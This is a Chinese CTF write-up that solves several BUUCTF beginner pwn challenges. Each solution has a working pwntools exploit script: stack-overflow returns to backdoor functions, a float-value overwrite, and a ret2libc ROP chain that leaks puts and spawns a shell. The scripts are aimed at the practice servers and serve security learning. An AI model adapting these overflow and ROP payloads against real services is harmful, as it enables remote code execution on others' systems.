test_your_nc

连接一下拿flag

rip

简单运行一下看看程序的效果

ida分析一下是栈溢出,我们确定偏移量

然后找到system地址

写exp

#!/usr/bin/env python
# -*- coding:utf-8 -*-
# Author:CyurL3

from pwn import *

ip = 'node3.buuoj.cn'
port = '26614'
r = remote(ip,port)

offset = 0xF + 0x8
system_addr = 0x40118A

payload = offset * 'A' + p64(system_addr)

r.sendline(payload)
r.interactive()

warmup_csaw_2016

看看程序功能

检查一下程序保护机制发现啥也没开,直接ida确定偏移量

发现system地址

写exp

#!/usr/bin/env python
# -*- coding:utf-8 -*-
# Author:CyurL3

from pwn import *

#filename = ''
#procedure = './' + filename
#sh = process(procedure)
#elf = ELF(procedure)

ip = 'node3.buuoj.cn'
port = '25606'
r = remote(ip,port)

offset = 0x40 + 0x8

r.recvuntil(':')
cat_flag_addr = r.recvuntil('\n',drop = True)
cat_flag_addr = int(cat_flag_addr,16)

payload = offset * 'A' + p64(cat_flag_addr)

r.recvuntil('>')
r.sendline(payload)
r.interactive()

pwn1_sctf_2016

运行程序

然后我们ida分析一下,可以发现是c++写的(枯了)
然后有个很奇怪的点,可以发现我们输入的字符不足以造成栈溢出

不过下文好像是有那么一个把"I"替换成"you"的功能

我们运行一下程序

这样的话能把一个字符变成三个字符就能够进行溢出了
我们找system地址

编写exp

#!/usr/bin/env python
# -*- coding:utf-8 -*-
# Author:CyurL3

from pwn import *

ip = 'node3.buuoj.cn'
port = '29955'
r = remote(ip,port)

offset = 0xC + 0x4 
get_flag_addr = 0x08048F0D

payload = 20 * 'I' + p32(get_flag_addr) + p32(get_flag_addr)

r.sendline(payload)
r.interactive()

ciscn_2019_n_1

运行程序

进ida看看

应该是让我们溢出v2的值,让v2等于11.28125就能cat flag
那么问题就是11.28125在内存是如何表示的?
有一张图参考一下,不是本题重点,可自行查阅一下浮点数在内存中的表示方法

最终计算一下就是0x41348000
编写exp

#!/usr/bin/env python
# -*- coding:utf-8 -*-
# Author:CyurL3

from pwn import *

ip = 'node3.buuoj.cn'
port = '26369'
r = remote(ip,port)

offset = 0x2C

payload = offset * 'A' + p64(0x41348000)

r.sendline(payload)
r.interactive()

ciscn_2019_c_1

这个题比上面四个加起来还难=.=
我们运行一下程序,发现有三个功能,第一个功能就是一个加密的功能,第二个功能没用,程序让我们自己解密。。。第三个功能程序直接退出了

ida发现加密函数是这样的

然后puts函数会输出加密后的信息
这个题没有后门之类的函数,需要我们构造ROP链,那么我们首先要拿到system函数或者execve这样的函数的地址,用LibcSearcher来搞
再次之前我们先要获取puts函数的地址,由于puts函数只有一个参数,也就是rdi寄存器里的,那么我们来找一下pop rdi;ret这样的片段,发现是有这种片段的

然而这个片段实际上是__libc_csu_init函数(一个初始化libc的函数)的片段,pop r15指令是三个16进制数,然而后两个十六进制数组合正好是pop rdi,也就是能用ROPgadget搜到的那个片段,由于我们只有一个参数,直接用那个片段来玩就行,不再展开用__libc_csu_init函数来构造ROP链了(wiki上有详细说明)

注意我们的payload会被加密,两次异或加密后还是其本身,所以我们自己来写个解密函数好了,由于两次payload的长度一样,所以第二次发payload就不会再被加密了(用ida分析可知)
直接贴个exp吧,注意,第二次的payload有一个栈对齐,所以我们加上一个ret指令来进行对齐即可

#!/usr/bin/env python
# -*- coding:utf-8 -*-
# Author:CyurL3

from pwn import *
from LibcSearcher import LibcSearcher

ip = 'node3.buuoj.cn'
port = '27912'
r = remote(ip,port)
#sh = process('./ciscn_2019_c_1')
elf = ELF('./ciscn_2019_c_1')

offset = 0x58
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
gets_got = elf.got['gets']
main_addr = elf.symbols['main']
fregment_one = 0x400c7a
fregment_two = 0x400c60
pop_rdi_ret = 0x400c83
bss_base = elf.bss()

def encrypt(payload):
    l = list(payload)
    for i in range(len(l)):
        if l[i].isdigit():
            l[i] = chr(ord(l[i]) ^ 0xF)
        elif l[i].isupper():
            l[i] = chr(ord(l[i]) ^ 0xE)
        elif l[i].islower():
            l[i] = chr(ord(l[i]) ^ 0xD)
    return ''.join(l)

r.recvuntil('Input your choice!\n')
r.sendline('1')
r.recvuntil('Input your Plaintext to be encrypted\n')

payload = offset * 'A' + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) +p64(main_addr)
payload = encrypt(payload)
r.sendline(payload)

r.recvuntil('Ciphertext\n')
r.recvuntil('\n')
puts_addr = u64(r.recvuntil('\n', drop=True).ljust(8,'\x00'))
print 'puts_addr:' + hex(puts_addr)

libc = LibcSearcher('puts',puts_addr)
libcbase = puts_addr - libc.dump('puts')
system_addr = libcbase + libc.dump('system')
bin_sh_addr = libcbase + libc.dump('str_bin_sh')
print 'system:' + hex(system_addr)

r.recvuntil('Input your choice!\n')
r.sendline('1')
r.recvuntil('Input your Plaintext to be encrypted\n')

ret_addr = 0x4006b9
payload = offset * 'A' + p64(ret_addr)  + p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_addr) 
#payload = encrypt(payload)
r.sendline(payload)
r.interactive()